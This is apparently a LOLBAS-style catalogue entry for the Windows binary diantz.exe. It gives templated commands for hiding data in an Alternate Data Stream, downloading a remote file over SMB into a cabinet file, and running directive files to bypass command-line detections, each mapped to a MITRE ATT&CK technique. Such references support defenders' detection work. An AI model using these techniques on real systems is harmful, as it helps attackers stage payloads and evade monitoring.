Diantz.exe

Binary that package existing files into a cabinet (.cab) file

ADS

Hide data compressed into an Alternate Data Stream.

diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab

Compress a file (first argument) into a CAB file stored in the Alternate Data Stream (ADS) of the target file. — MITRE: T1564.004 — Privileges: User

Download

Download and compress into a cab file.

diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}

Download and compress a remote file and store it in a CAB file on local machine. — MITRE: T1105 — Privileges: User

Execute

Bypass command-line based detections

diantz /f {PATH:.ddf}

Execute diantz directives as defined in the specified Diamond Definition File (.ddf); see resources for the format specification. — MITRE: T1036 — Privileges: User